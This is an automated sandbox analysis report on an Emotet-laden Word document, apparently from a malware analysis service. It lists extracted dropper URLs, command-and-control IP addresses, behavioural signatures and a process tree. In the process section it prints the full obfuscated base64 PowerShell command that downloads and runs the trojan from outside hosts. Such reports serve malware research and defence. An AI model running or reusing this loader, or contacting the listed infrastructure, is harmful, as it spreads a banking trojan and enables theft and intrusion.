Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    59s
  • max time network
    52s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    18/08/2020, 07:29

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e2_8a2f685f91dd2181e76fb8b1ff4ffc7e1fb4614e320cd035c38ba5b4f20689a8_2020-08-18__072722._doc.doc
  • Size 177KB
  • Sample200818-2b6psxvwha
  • SHA256 8a2f685f91dd2181e76fb8b1ff4ffc7e1fb4614e320cd035c38ba5b4f20689a8
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://guthixgreengold.com/wp-admin/ebw_3fc5_3giqkal4/
  • exe.dropper

    https://groovyboove.co.uk/tmp/q8_r18cu_g/
  • exe.dropper

    http://hangtheuducthanh.com/site/t258v_2y_5ay5bd/
  • exe.dropper

    http://intelligence.com.sg/registration/p_z02_d/
  • exe.dropper

    http://immocop.ch/banner/zrg_i_rav/

Extracted

Family

  • emotet

C2

  • 68.44.137.144:443

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 79.98.24.39:8080

  • 5.196.74.210:8080

  • 188.83.220.2:443

  • 109.116.214.124:443

  • 203.117.253.142:80

  • 104.131.11.150:443

  • 97.82.79.83:80

  • 121.124.124.40:7080

  • 83.169.36.251:8080

  • 89.186.91.200:443

  • 70.167.215.250:8080

  • 204.197.146.48:80

  • 167.86.90.214:8080

  • 190.160.53.126:80

  • 95.213.236.64:8080

  • 47.144.21.12:443

  • 169.239.182.217:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8a2f685f91dd2181e76fb8b1ff4ffc7e1fb4614e320cd035c38ba5b4f20689a8_2020-08-18__072722._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1156
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABZAGwAaAA2ADEAMwBlAD0AKAAnAEgAaQBpAGoAJwArACcAMQB3ACcAKwAnAGMAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAZQBOAHYAOgB0AEUATQBQAFwAbwBmAGYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBjAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAGAAVQBgAFIASQBgAFQAeQBwAHIATwBgAFQATwBjAGAATwBsACIAIAA9ACAAKAAnAHQAbABzACcAKwAnADEAJwArACcAMgAsACcAKwAnACAAdABsAHMAMQAxACwAJwArACcAIAB0AGwAcwAnACkAOwAkAFIAMQB6AG0AdgBqAGkAIAA9ACAAKAAnAFgAJwArACcAMgBmACcAKwAnADkAcQBvAHQAOAAnACkAOwAkAFEANwBlAHAAdgB2ADUAPQAoACcATwBoAHQAOAAnACsAJwB5AGMAagAnACkAOwAkAEEAOAB1AHIAdQBzAHIAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAEsAdQAyAE8AJwArACcAZgAnACsAJwBmAGkAYwBlACcAKwAnADIAMAAnACsAJwAxADkASwB1ADIAJwApACAALQBDAHIARQBwAGwAYQBDAEUAJwBLAHUAMgAnACwAWwBDAGgAQQByAF0AOQAyACkAKwAkAFIAMQB6AG0AdgBqAGkAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFIAZwBtAGsAaQByAGMAPQAoACcARQAnACsAJwBwADUAZQBsAHUAJwArACcAdQAnACkAOwAkAFEAcQB1AGcANQBhADcAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAQwBMAEkAZQBuAHQAOwAkAEsAYgA1AHYANgBkADkAPQAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBnACcAKwAnAHUAdAAnACsAJwBoAGkAJwArACcAeAAnACsAJwBnACcAKwAnAHIAZQBlACcAKwAnAG4AZwBvAGwAZAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZQAnACsAJwBiAHcAXwAnACsAJwAzAGYAYwAnACsAJwA1AF8AMwAnACsAJwBnACcAKwAnAGkAcQAnACsAJwBrACcAKwAnAGEAJwArACcAbAA0AC8AKgBoAHQAJwArACcAdABwACcAKwAnAHMAJwArACcAOgAvAC8AZwByAG8AJwArACcAbwB2AHkAJwArACcAYgBvAG8AdgBlACcAKwAnAC4AYwBvAC4AdQBrACcAKwAnAC8AdAAnACsAJwBtACcAKwAnAHAALwBxADgAXwAnACsAJwByADEAOAAnACsAJwBjAHUAXwBnACcAKwAnAC8AJwArACcAKgBoAHQAdABwADoALwAvAGgAJwArACcAYQBuAGcAdABoAGUAJwArACcAdQBkAHUAYwB0AGgAYQBuACcAKwAnAGgALgAnACsAJwBjACcAKwAnAG8AbQAvAHMAaQAnACsAJwB0ACcAKwAnAGUALwAnACsAJwB0ADIANQA4ACcAKwAnAHYAXwAyAHkAXwA1AGEAeQAnACsAJwA1AGIAJwArACcAZAAvACoAaAB0AHQAcAA6AC8ALwBpAG4AdABlACcAKwAnAGwAJwArACcAbABpACcAKwAnAGcAZQAnACsAJwBuAGMAJwArACcAZQAuAGMAbwBtAC4AcwBnACcAKwAnAC8AcgAnACsAJwBlAGcAJwArACcAaQBzACcAKwAnAHQAcgBhACcAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4ALwBwAF8AegAwADIAXwBkAC8AKgAnACsAJwBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACcALwAvAGkAJwArACcAbQBtAG8AYwAnACsAJwBvACcAKwAnAHAALgBjACcAKwAnAGgALwBiAGEAbgBuAGUAcgAvAHoAJwArACcAcgBnAF8AaQAnACsAJwBfAHIAYQB2AC8AJwApAC4AIgBzAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAawBkADcAYQByAHoAPQAoACcASwAnACsAJwBsAGYAJwArACcAcAB0AHcAaQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDAGcAdgBmADYAZAB0ACAAaQBuACAAJABLAGIANQB2ADYAZAA5ACkAewB0AHIAeQB7ACQAUQBxAHUAZwA1AGEANwAuACIARABgAE8AdwBuAGwAYABPAEEAZABGAGkAbABlACIAKAAkAEMAZwB2AGYANgBkAHQALAAgACQAQQA4AHUAcgB1AHMAcgApADsAJABYAGYANABpAGgAeABtAD0AKAAnAFYAcQBqACcAKwAnAGcAMgB6AHgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAOAB1AHIAdQBzAHIAKQAuACIATABlAG4AYABnAHQASAAiACAALQBnAGUAIAAyADAAMAA0ADUAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAQQA4AHUAcgB1AHMAcgApADsAJABUAHcAbwBfAG4AMwBnAD0AKAAnAFEANwA5AG0AJwArACcAeABmAHUAJwApADsAYgByAGUAYQBrADsAJABEAGkAZgAzAG0AdQB5AD0AKAAnAFkAYwB1AGkAJwArACcAdAAnACsAJwA4AHoAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABEADQAMwBhADYAMQB0AD0AKAAnAFEAMgB1ADIAbwAnACsAJwA1ACcAKwAnAGcAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1652
    • C:\Users\Admin\AppData\Local\Temp\Office2019\X2f9qot8.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\X2f9qot8.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\SysWOW64\vaultcli\msswch.exe
        "C:\Windows\SysWOW64\vaultcli\msswch.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1668

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1156-4-0x0000000007170000-0x0000000007370000-memory.dmp
        Download

        memory/1156-5-0x000000000AF10000-0x000000000AF14000-memory.dmp
        Download

        memory/1156-6-0x000000000BF90000-0x000000000BF94000-memory.dmp
        Download

        memory/1156-2-0x0000000008AD0000-0x0000000008AD4000-memory.dmp
        Download

        memory/1652-8-0x000007FEF1520000-0x000007FEF1F0C000-memory.dmp
        Download

        memory/1652-12-0x0000000002380000-0x0000000002381000-memory.dmp
        Download

        memory/1652-13-0x0000000002920000-0x0000000002921000-memory.dmp
        Download

        memory/1652-14-0x000000001B7F0000-0x000000001B7F1000-memory.dmp
        Download

        memory/1652-11-0x0000000002350000-0x0000000002351000-memory.dmp
        Download

        memory/1652-10-0x000000001AE40000-0x000000001AE41000-memory.dmp
        Download

        memory/1652-9-0x0000000001EB0000-0x0000000001EB1000-memory.dmp
        Download

        memory/1668-21-0x0000000000270000-0x000000000027C000-memory.dmp
        Download

        memory/1788-18-0x0000000000360000-0x000000000036C000-memory.dmp
        Download

        memory/1884-22-0x000007FEF2300000-0x000007FEF257A000-memory.dmp
        Download